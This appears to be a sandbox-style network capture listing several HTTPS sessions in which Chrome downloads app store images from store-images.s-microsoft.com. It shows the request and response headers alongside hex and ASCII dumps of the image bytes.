2022-06-08 07:54:00 UTC 419 OUT GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-
9abd8bc2c1f3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:00 UTC 420 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2132
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ"
MS-CV: io5H35z9qESL1hpw.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:00 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:00 UTC 421 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 
4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 
10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 
27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 
05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 
4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 
Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>*5V!jxz'Cwfw,Jx+(Y)?,EY"9*%@:]n/M gU('$
;^Oz87X# 9!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 192.168.2.3 49739 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:00 UTC 420 OUT GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-
ee8fe4d32d94?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:00 UTC 423 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 12462
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk"
MS-CV: YL1WyeTAvUC1HHWF.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:00 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:00 UTC 423 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 2
0 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 
b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 
e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K  (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!
B!B!B!B!B!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 192.168.2.3 49740 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:00 UTC 435 OUT GET /image/apps.52481.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.16c0a704-aef8-4bc4-af36-
0c3b3ee0f6e2?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:00 UTC 436 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 38027
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTE3OTNFRUQ"
MS-CV: LZT1tEq8wkm01jel.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:00 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:00 UTC 436 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 17 49 49 44 41 54 78 9c ed dd 09 90 65 55 79 c0 f1 ef 9c 
7b df d2 af a7 67 7a 16 06 06 90 19 24 01 34 11 a3 30 18 28 94 92 2a f7 24 24 3a 71 05 c4 8d 98 44 4b 2b 31 12 2a 05 a6 
90 8a 89 54 29 96 4b 4a 2d 13 45 2b 28 8e c6 12 a3 92 52 4c 0c a2 61 00 09 22 ae 40 d8 66 70 9c e9 e9 ed ed 77 c9 39 
e7 de f7 7a d0 40 81 4c 77 bf cf f7 ff 4d 3d 5f f7 eb ed 76 17 fe eb 9c fb ce 3b 37 16 00 50 22 5e ed 03 00 80 47 8b 60 01 
50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 
01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 
Data Ascii: PNGIHDR,,y}upHYseIIDATxeUy{gz$40(*$$:qDK+1*T)KJ-E+(RLa"@fpw9z@LwM=_v;7P"^G`P`P`P`P`P`P`P
`P`P`P`P`P`P`P`P`

2022-06-08 07:54:00 UTC 452 IN Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae 
e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 
20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 
83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 
35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 
e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 
8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 
Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T
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2022-06-08 07:54:00 UTC 460 IN Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 
c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 
da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 
38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 
bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d 
a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 
75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 
Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+
o<%9aquA p`

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 192.168.2.3 49741 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:01 UTC 473 OUT GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-
95ba7990754d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:01 UTC 473 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64662
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA"
MS-CV: ++gJr3axoUmfcmGL.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:01 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:01 UTC 474 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 
fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 
64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 
7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 
02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 
ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 
Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^
nMZ^M

2022-06-08 07:54:01 UTC 489 IN Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 
97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 
d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 
81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 
13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 
11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 
7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f 
Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l

2022-06-08 07:54:01 UTC 505 IN Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 
53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a 
be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 
53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 
df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 
56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 
98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d 
Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZ
B-O}{[2JMi2

2022-06-08 07:54:01 UTC 507 IN Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 
9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 
7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 
a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 
fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 
55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 
32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b 
Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy|<k98wLu80T%S}_}[i\Raye1|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`a
J02"<aZ@x~Z)CK

2022-06-08 07:54:01 UTC 523 IN Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 
5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 
aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f 
f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 
03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 
2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 
21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c 
Data Ascii: m\co|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt
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2022-06-08 07:54:01 UTC 535 IN Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 
98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 
ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 
d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 
72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 
73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 
af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 
Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.c
wmP{

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 192.168.2.3 49744 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:01 UTC 537 OUT GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-
e569a2444a83?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:01 UTC 537 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36301
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:25:01 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYzMDA1MzJGOEY"
MS-CV: q3l8T0dRYkekS5SG.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:01 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:01 UTC 538 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-06-08 07:54:01 UTC 553 IN Data Raw: cc b7 c7 67 22 36 f7 6c d2 0e d3 d0 48 03 3b 15 25 7a 8a fa 1f e3 c1 49 a0 f3 0b 31 90 cf 3e ea 51 a3 8d c3 85 
ee bd 9d c8 d3 8d e8 3e a9 d5 aa e4 6b 7e e7 7f ef e9 ea 12 6c 9f 72 d8 c0 50 34 8d cb f8 f1 1d 6f e2 c8 b2 17 00 3c 8d 
d8 d5 f2 a5 3d 6b fc 38 42 5f 90 8f 3a ed 4c cc 06 0f 19 19 b3 b9 73 c8 6a 98 64 cf 84 83 69 0b c5 5c 41 a0 b7 67 fd 79 42 
44 73 4b be e4 e8 c3 18 e1 bd 51 1b 06 b1 e8 f4 5f 71 88 8e 90 c6 6c 3a 5b 7d 5e 46 ab 0c 64 4c eb d3 bb 33 2f e9 a9 ff 
00 62 24 3a 8d 7a b1 00 74 27 84 a7 96 6e ed e0 b7 ba 82 09 07 ed 96 72 18 63 a7 fe a4 a3 91 a7 fb 31 d1 c9 ff 00 13 03 
f2 a5 d5 c5 fc 6d 6b 95 e3 da 2a 3b ea 5a bb e9 9c 7f 97 b1 b0 b1 8b 6f 1b f7 38 05 b6 bd bb ae d5 7b 33 22 9b ec 9e 91 
a3 45 21 14 65 47 b1 ea 77 23 91 7e ab e8 6f 74 67 
Data Ascii: g"6lH;%zI1>Q>k~lrP4o<=k8B_:Lsjdi\AgyBDsKQ_ql:[}^FdL3/b$:zt'nrc1mk*;Zo8{3"E!eGw#~otg

2022-06-08 07:54:01 UTC 562 IN Data Raw: 5b 15 23 9e d6 14 d1 89 64 3f 65 ee fb c6 23 10 ad 5f 71 8d 54 c8 da 98 d9 b1 f8 38 7f 6e 05 ff 00 70 53 2b 95 
fc e2 15 7d 29 19 eb cd e4 04 b7 a5 55 3e 3c 43 42 12 6d 57 77 1f ff 00 58 15 5f 81 94 8a bb 9f f7 01 0a 0f c0 b1 eb c2 6d 
f2 27 8c aa 3c e4 c2 58 e3 f8 f7 98 e5 d6 d8 60 5b 77 0e ba 96 60 06 b8 cd 45 e3 5e 8c 9b 71 62 20 b5 b6 e3 2c d4 62 8a 
31 fd c3 fb 31 15 1a c0 f6 ab fb f6 db e0 9f b6 bc 2c 9e 3a 5d cf 65 70 cb bf 2f a2 1d f2 e0 34 29 d7 44 0b 42 5a 30 82 95 
20 d4 b1 ab 2d 45 02 27 33 e5 0c 9e d4 dc a9 0d fd 91 3b 71 65 d4 1d 4f ea 37 f8 9e bf 95 89 3d 54 d2 84 52 a3 85 41 c4 
5e 06 72 1d 9c 4e 48 b7 d1 50 5b 8e 46 4b fa 82 2c 4a 0a 28 92 2c ac 56 3e 50 04 35 fd 90 95 83 6b 0b 09 03 15 43 11 
e8 8f ee 21 1a fe c7 b5 cc ee 58 6f 5d d9 26 c4 dc 
Data Ascii: [#d?e#_qT8npS+})U><CBmWwX_m'<X`[w`E^qb ,b11,:]ep/4)DBZ0 -E'3;qeO7=TRA^rNHP[FK,J(,V>P5kC!Xo]&

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 192.168.2.3 49749 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:02 UTC 573 OUT GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-
8ba298101695?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:03 UTC 574 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36356
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ"
MS-CV: z5GVXLljMESvilJy.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:03 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:03 UTC 574 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 
6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 0
9 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 
fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 
2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 
